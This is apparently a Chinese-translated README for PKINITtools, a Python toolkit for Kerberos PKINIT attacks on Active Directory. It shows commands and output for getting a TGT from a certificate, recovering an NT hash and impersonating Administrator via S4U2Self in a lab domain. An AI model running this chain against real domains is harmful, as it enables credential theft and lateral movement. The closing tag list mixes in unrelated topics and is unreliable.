dirkjanm/PKINITtools
GitHub: dirkjanm/PKINITtools
用于 Kerberos PKINIT 认证操作的 Python 工具集,实现从证书获取 TGT、提取 NT Hash 及 S4U 票据请求的完整攻击链。
Stars: 882 | Forks: 102
# PKINIT 工具
本仓库包含一些用于操作 PKINIT 和证书的实用工具。
这些工具基于 [minikerberos](https://github.com/skelsec/minikerberos/tree/master/minikerberos) 和 [impacket](https://github.com/SecureAuthCorp/impacket) 构建。附带的相关博客文章提供了更多背景信息:
## 安装
这些工具仅兼容 Python 3.5+。从 GitHub 克隆仓库,安装依赖项,即可开始使用:
```
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos
```
建议使用 virtualenv。
## 工具
### gettgtpkinit.py
使用 PFX 文件(作为文件或 base64 编码的数据块)或 PEM 文件(证书+密钥)请求 TGT。这使用 Kerberos PKINIT,并将 TGT 输出到指定的 ccache 中。它还会打印 AS-REP 加密密钥,您可能需要在 getnthash.py 工具中使用该密钥。用法示例:
```
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache
Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key
positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in
optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file
```
### getnthash.py
使用 Kerberos U2U 为您自己提交 TGS 请求。这将包含 PAC,而 PAC 中又包含 NT 哈希,您可以使用用于特定 TGT 的 AS-REP 密钥对其进行解密。这真的很神奇。此工具要求 `KRB5CCNAME` 环境变量中存在来自 PKINIT 的 TGT。用法:
```
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity
positional arguments:
identity domain/username
optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON
(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571
```
### gets4uticket.py
使用 Kerberos S4U2Self 请求在您已获取证书的主机上有效的服务票据。然后可以使用此票据与原始主机进行交互。这只需要该主机机器账户的 TGT。此 TGT 应位于您在 `kerberos_connection_url` 中指定的 ccache 文件中。此示例唯一接受的 `kerberos_connection_url` 是包含 ccache 文件的链接,例如 `kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local`。SPN 应为您要模拟的主机上的服务名称,您不能将其用于委派攻击(因为它未实现 S4U2Proxy,已经有很多工具可以做到这一点)。用法:
```
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache
Gets an S4U2self ticket impersonating given user
positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@
spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a
TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
targetuser
ccache ccache file to store the TGT ticket in
optional arguments:
-h, --help show this help message and exit
-v, --verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!
```
## 许可证
MIT
## 致谢
* [SkelSec](https://twitter.com/skelsec) 的 [minikerberos](https://github.com/skelsec/minikerberos/tree/master/minikerberos)
* Alberto Solino 和 SecureAuthCorp 团队的 [impacket](https://github.com/SecureAuthCorp/impacket)
* [Mor Rubin](https://twitter.com/rubin_mor) 在 [AzureADJoinedMachinePTC](https://github.com/morRubin/AzureADJoinedMachinePTC) 中首次实现的 Python PKINIT
* [Benjamin Delpy](https://twitter.com/gentilkiwi) 在 [kekeo](https://github.com/gentilkiwi/kekeo) 中实现了这些功能
标签:Active Directory, AD CS, AWS 安全, Conpot, HTTP, ICS, impacket, log2timeline, M2M, minikerberos, Modbus, NTLM Relay, PE 加载器, PFX证书, PKINIT, Plaso, Python, S7Comm, SCADA, SNMP, TGT, Windows安全, 主动防御, 关键基础设施保护, 内网安全, 哈希传递, 域渗透, 工业互联网, 工控安全, 攻击检测, 攻防演练, 无后门, 模拟器, 横向移动, 电子数据取证, 编程规范, 蜜罐, 证书利用, 诱捕技术, 逆向工具